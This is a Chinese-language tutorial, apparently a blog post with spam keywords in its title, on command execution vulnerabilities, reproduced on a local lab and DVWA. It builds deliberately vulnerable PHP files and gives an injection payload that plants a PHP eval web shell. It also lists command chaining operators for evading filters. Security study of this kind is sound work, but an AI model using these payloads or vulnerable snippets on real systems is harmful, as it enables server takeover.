陵县网站建设,东港建站公司,自己做的网站标题,网站做营销推广环境准备
这篇文章旨在用于网络安全学习#xff0c;请勿进行任何非法行为#xff0c;否则后果自负。
一、攻击相关介绍
原理
主要是输入验证不严格、代码逻辑错误、应用程序或系统中缺少安全机制等。攻击者可以通过构造特定的输入向应用程序或系统注入恶意代码#xff…环境准备
这篇文章旨在用于网络安全学习请勿进行任何非法行为否则后果自负。
一、攻击相关介绍
原理
主要是输入验证不严格、代码逻辑错误、应用程序或系统中缺少安全机制等。攻击者可以通过构造特定的输入向应用程序或系统注入恶意代码从而在受攻击的主机上执行任意命令。
使用方法
通过Web应用程序的输入字段注入恶意命令例如在表单、URL参数、HTTP头等中注入恶意命令。利用操作系统的命令执行函数或系统调用执行攻击者构造的恶意命令。利用应用程序的漏洞例如文件上传功能上传恶意文件并执行其中的命令。
使用前提
目标应用程序存在命令执行漏洞即没有对用户输入进行正确的过滤、验证或转义。攻击者能够与目标应用程序进行交互例如能够提交表单、发送请求等。攻击者能够构造恶意输入并将其注入到应用程序中。
常见的命令执行类型 远程命令执行Remote Command Execution攻击者通过远程发送恶意请求或利用应用程序的漏洞成功地执行远程系统命令。这种类型的漏洞通常涉及网络通信和远程执行代码。 本地命令执行Local Command Execution攻击者通过直接访问受影响系统利用应用程序的漏洞执行本地系统命令。这种类型的漏洞通常涉及身份验证绕过或本地文件包含等问题。 代码注入Code Injection攻击者通过向应用程序输入注入恶意代码来实现执行任意命令的目的。常见的代码注入包括SQL注入、OS命令注入和LDAP注入等。 命令拼接Command Concatenation攻击者通过利用应用程序对命令字符串的错误处理将恶意命令与原始命令拼接在一起导致执行恶意操作。常见的拼接方式包括使用特殊字符、绕过命令过滤等手法。
二、攻击复现
远程代码执行 - preg_replace函数示例
在php的www目录下创建一个preg_replace.php文件内容如下
?php preg_replace(/test/e,$_POST[cmd],just test);?
然后使用工具连接菜刀、蚁剑、或浏览器插件都可以 都连接上了想干嘛就干嘛 远程系统命令执行
在php的www目录下创建一个exec.php文件内容如下
?php $cmd$_POST[cmd];exec($cmd,$return); // 执行$cmd并把结果给数组$returnvar_dump($return) // 输出$return
? 或者在DVWA靶场上复现
如127.0.0.1ipconfig (ipconfig是查看主机的ip信息 通过命令执行写入一句话马
攻击payload
127.0.0.1 | echo ?php eval(\$_POST[\cmd\])? /var/www/shell.php
这个命令的目的是在服务器上创建一个名为 shell.php 的文件其中包含 PHP 代码。让我们逐步分析该命令 127.0.0.1: 这是一个IP地址本地回环地址代表要连接的目标主机。 |管道符号用于将前一个命令的输出作为后一个命令的输入。 echo ?php eval(\$_POST[\cmd\])?: 这是一个echo命令它将字符串 ?php eval(\$_POST[cmd])? 输出到标准输出。 重定向操作符将前一个命令的输出写入到后一个命令指定的文件中。 /var/www/shell.php这是目标文件路径表示要将输出写入到 /var/www/ 目录下的名为 shell.php 的文件。
综上所述如果成功执行此命令则会在服务器的 /var/www/ 目录下创建一个名为 shell.php 的文件并将 ?php eval(\$_POST[cmd])? 的内容写入到该文件中。由于该PHP代码使用了 eval 函数它会执行用户在 POST 请求通过 cmd 参数中输入的命令。
下面是一些常见的命令连接符及其作用如果管道符“|”被过滤了就可以使用其他的代替 将两个命令并行执行无论前一个命令是否成功。 只有当前一个命令成功执行时才会执行后一个命令。 |将前一个命令的输出作为后一个命令的输入。 ||只有当前一个命令执行失败时才会执行后一个命令。
复现
在靶机中查看木马文件
最后就能在靶机看到我们的文件了我们的文件保存在/var/www/目录下查看方法
cd /var/www/ - ls # 之后就能看到/var/www/下的文件信息
我跟喜欢使用xfp 7与xshell 7来输入命令与查看文件
使用蚁剑或菜刀连接木马
成功进入目标文件管理界面攻击复现成功
注意虽然我们的shell.php木马文件存放在/var/www/目录下但是我们连接只需要使用靶机IP文件名即可。因为Web服务器已经将根目录设置为 /var/www/所以不需要在 URL 中显式指定该目录。只需使用 http://IP地址/文件名 的格式即可访问该文件。